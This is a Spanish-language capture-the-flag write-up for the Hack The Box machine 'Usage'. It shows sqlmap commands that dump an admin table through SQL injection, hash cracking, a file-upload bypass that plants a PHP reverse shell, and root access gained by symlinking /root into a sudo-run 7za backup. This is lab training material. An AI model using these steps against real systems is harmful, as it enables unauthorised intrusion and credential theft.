HTB Usage Writeup
Muy buenas con todos, el día de hoy voy a resolver la máquina Usage
de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.
Reconocimiento
Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl
identificamos ante el tipo de máquina que estamos, en linux
este suele ser de 64 y en windows
de 128.
1
2
3
4
5
6
7
ping -c 1 10.10.11.18
PING 10.10.11.18 (10.10.11.18) 56(84) bytes of data.
64 bytes from 10.10.11.18: icmp_seq=1 ttl=63 time=103 ms
--- 10.10.11.18 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 102.936/102.936/102.936/0.000 ms
Vemos que el ttl
de la máquina es de 63, el cual está próximo a 64 por ende nos encontramos ante una máquina Linux
.
Ahora, con la herramienta nmap
lanzamos un escaneo en donde vamos a enumerar los puertos que se encuentran abiertos en la máquina.
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.18 -oG ports
Aquí generamos un archivo en formato grepeable y hacemos uso de la función extarctPorts de s4vitar.
1
extractPorts ports
Ahora con el número de los puertos copiados en el portapapeles, lanzamos otro escaneo para enumerar el servicio que corren por los puertos.
1
nmap -sCV -p22,80 10.10.11.18 -oN target
Aquí generamos un archivo en el formato normal de nmap
en donde se nos muestra más infomación de los servicios que corren por esos puertos.
1
2
3
4
5
6
7
8
9
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Daily Blogs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Bueno, no tenemos información muy valiosa luego del escaneo. Así que usamos la herramienta whatweb
para ver qué hay por el puerto 80
.
1
2
3
4
whatweb 10.10.11.18
http://10.10.11.18 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.18], RedirectLocation[http://usage.htb/], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: http://usage.htb/ - no address for usage.htb
Vemos que nos redirige a un dominio, así que lo añadimos al /etc/hosts
.
1
2
3
4
5
127.0.0.1 localhost
::1 localhost
127.0.0.1 machinename.localhost machinename
10.10.11.18 usage.htb
Si nos vamos a la web, nos encontramos ante un panel de inicio de sesión. Algo a destacar es que si colocamos el cursor sobre la palabra admin
en la parte de abajo logramos ver un subdominio que lo agregaremos al /etc/hosts
.
Pero también necesitamos credenciales para ingresar. En la web principal podemos registrarnos e iniciar sesión, pero no hay nada de interés.
Inyección SQL
Si nos damos cuenta, hay un apartado donde podemos recuperar la contraseña mediante un email
. Luego de unas pruebas, veo que este es vulnerable a SQL Injection
, así que para esto vamos a hacer uso de sqlmap
. Primero capturamos la petición con BurpSuite
y la guardamos en un archivo.
Primero vamos a ver las bases de datos.
1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --batch --dbs
De aquí la de interés sería usage_blog
.
1
2
3
4
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
Ahora vemos sus tablas.
1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --batch -D usage_blog --tables
La tabla admin_users
se ve ineteresante.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
Vamos a ver las columnas.
1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --technique=B --batch -D usage_blog -T admin_users --columns
Vemos username
y password
que sería lo interesante, así que vamos a dumpear eso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Database: usage_blog
Table: admin_users
[8 columns]
+----------------+
| Column |
+----------------+
| name |
| avatar |
| created_at |
| id |
| password |
| remember_token |
| updated_at |
| username |
+----------------+
1
sqlmap -r $(pwd)/request -p email --level 5 --risk 3 --technique=B --batch -D usage_blog -T admin_users -C username,password --dump
Vemos que solo esta el usuario admin
y su contraseña encryptada.
1
2
3
4
5
6
7
8
Database: usage_blog
Table: admin_users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydv************************ |
+----------+--------------------------------------------------------------+
Ahora procedemos a romper el hash
.
1
john --wordlist=diccionario.txt hash
Ganando acceso
Tratamos de usar ese usuario y su credencial para conectarnos por el subdominio encontrado previamente y vemos que es posible. Una vez dentro, estamos ante un panel en donde vemos algunas dependencias. Aquí la de interés sería laravel-admin
en donde vemos una versión la cual tiene una vulnerabilidad. Si nos vamos a esta web, nos explican cómo explotarlo.
Lo primero que vamos a hacer es crear una revershel
con ayuda de esta web, elegimos PHP PentestMonkey
y lo guardamos en un archivo con extensión .jpg
. Ahora nos vamos al apartado de configuración.
Ahora cargamos el archivo e interceptamos la petición con BurpSuite
.
Aquí le agregamos la extensión .php
a nuestro archivo y enviamos la petición.
Luego nos ponemos en escucha con netcat
y en la esquina inferior de la “imagen” hay un apartado de desscargar, copiamos ese enlace y lo solicitamos en la web para que así nos envie nuestra revershel
.
Una vez dentro de la máquina, hacemos el tratamiento de la tty
1
2
3
4
5
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
export TEMR=xterm
Y ya logramos ver la primera flag
como nuestro usuario.
Movimiento lateral
Dentro de nuestro directorio personal de usuario hay un archivo un tanto diferente y al revisar su contenido vemos lo que parece ser una credencial. Haciendo uso de la misma, nos tratamos de conectar como el otro usuario y vemos que es posible
Escalada de privilegios
Ejecutando el comando sudo -l
vemos un binario que puede ser ejecutado como root sin proporcionar contraseña. Analizando un poco este mismo, vemos que realiza un backup de /var/www/html
.
1
2
3
strings /usr/bin/usage_management | grep 7z
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Bueno, lo que podemos hacer es crear un enlace simbólico que apunte al directorio /root
y así logremos ver su contenido en el backup
. Aquí nos explican cómo es esto posible por los parámetros usados por 7z
.
Primero creamos el enlace simbólico.
1
ln -s /root /var/www/html/root
Ahora ejecutamos el binario y elegimos la opcción 1.
1
2
3
4
5
6
7
sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Por último descomprimimos la copia de seguridad.
1
7za x -y /var/backups/project.zip -o/tmp/.root root
Ahora nos podemos dirigir a esa ruta y vemos el contenido que hay en el directorio del usuario root
y así podemos ver la última flag
e incluso su id_rsa
.